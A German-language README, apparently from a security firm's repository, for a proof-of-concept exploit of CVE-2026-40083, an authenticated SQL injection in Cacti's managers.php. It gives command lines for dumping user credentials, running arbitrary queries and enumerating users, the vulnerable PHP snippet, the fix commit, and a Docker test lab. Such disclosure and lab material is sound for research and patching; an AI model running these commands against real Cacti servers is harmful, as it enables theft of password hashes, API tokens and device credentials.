
Proof-of-Concept-Exploit für CVE-2026-40083, eine SQL-Injection in Cacti managers.php, die authentifizierten Benutzern das Extrahieren von MySQL-Datenbanken, Benutzeranmeldedaten und Passwort-Hashes ermöglicht. Enthält ein Docker-Labor zum Testen.
Ein Proof-of-Concept-Exploit für CVE-2026-40083, eine SQL-Injection-Sicherheitslücke in Cactis managers.php, die es jedem authentifizierten Benutzer mit SNMP-Manager-Berechtigungen ermöglicht, die gesamte MySQL-Datenbank zu lesen, einschließlich Benutzeranmeldedaten und Passwort-Hashes.
Verwendung:
# Verify injection (time-based)
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin
# Dump specific user credentials
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --target-id 1
# Extract arbitrary SQL query result
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --query "SELECT version()"
# Enumerate all users (scan IDs 1-50)
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --max-id 50
# With Burp proxy
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --proxy http://127.0.0.1:8080
In managers.php wird die Benutzereingabe von selected_graphs_array mittels cacti_unserialize() deserialisiert und ohne Bereinigung direkt in SQL eingefügt:
$selected_items = cacti_unserialize(stripslashes(gnrv('selected_graphs_array')));
if ($selected_items != false) {
// No validation - direct implode into SQL
db_execute('DELETE FROM snmpagent_managers WHERE id IN (' . implode(',', $selected_items) . ')');
}
Der Parameter selected_graphs_array akzeptiert ein PHP-serialisiertes Array. Array-Elemente werden mit Kommas implodiert und direkt in die IN-Klausel eingefügt.
POST /managers.php (action=actions, drp_action=1|2|3)
Die SQL-Injection-Sicherheitslücke erlaubt authentifizierten Benutzern mit SNMP-Manager-Berechtigungen, beliebige Abfragen auf der Datenbank auszuführen. Dies ermöglicht das Lesen von Tabellen mit Benutzerdaten, Einstellungen, Geräte-Anmeldedaten und SNMP-Communities sowie die Extraktion von bcrypt-Hashes und API-Tokens, was zu einer Kompromittierung des Kontos führen kann. Darüber hinaus ermöglicht der Fehler die Ausführung von Zeitverzögerungsbefehlen, was potenziell einen Denial-of-Service durch Erschöpfung gleichzeitiger Datenbankverbindungen verursachen kann.
7.2 High CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Commit 52032e760 fügt array_map('intval', $selected_items) vor dem implodieren hinzu, um alle Werte in Ganzzahlen umzuwandeln.
docker-compose up -d --build
Warten Sie etwa 30 Sekunden auf die Initialisierung. Greifen Sie auf Cacti unter http://localhost:8088 zu.
Standard-Anmeldedaten: admin / admin
# Test exploit
python3 exploit/poc.py --url http://localhost:8088 --user admin --password admin --target-id 1
Dieses Tool dient ausschließlich zu Bildungs- und Forschungszwecken. Verwenden Sie es nur auf Systemen, die Sie besitzen oder für die Sie eine ausdrückliche Erlaubnis zum Testen haben. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.
QuimeraX Intelligence ist eine fortschrittliche EASM- und Cyber-Threat-Intelligence-Plattform, die sich auf die Identifizierung kritischer Schwachstellen in komplexen Systemen spezialisiert hat. Die Plattform überwacht proaktiv, erkennt und alarmiert Kunden über Sicherheitsbedrohungen und gewährleistet Transparenz und schnelle Reaktion auf potenzielle Risiken. Kunden erhalten sofortige Benachrichtigungen und umfassende Berichte, falls ihre Systeme als verwundbar eingestuft werden, sodass sie Schutzmaßnahmen ergreifen können. mehr erfahren
Hakai Security ist ein Cybersicherheitsunternehmen, das von Sicherheitsexperten gegründet wurde und sich technischer Exzellenz verschrieben hat. Wir bieten maßgeschneiderte Sicherheitslösungen, darunter fortgeschrittene Penetrationstests, realistische Red-Team-Simulationen und sichere Entwicklungspraktiken, um die Vermögenswerte unserer Kunden proaktiv vor sich entwickelnden Cyberbedrohungen zu schützen.
Hacking Club ist die Trainingsplattform, auf der Sie Cybersicherheit durch praxisnahe Lektionen, Labore und Herausforderungen lernen, die von Experten unseres Sicherheitsberatungsunternehmens erstellt wurden: direkt vom Schlachtfeld in Ihr Training. Üben Sie die in diesem Repository vorgestellte Sicherheitslücke mit dem Hacking Club! mehr erfahren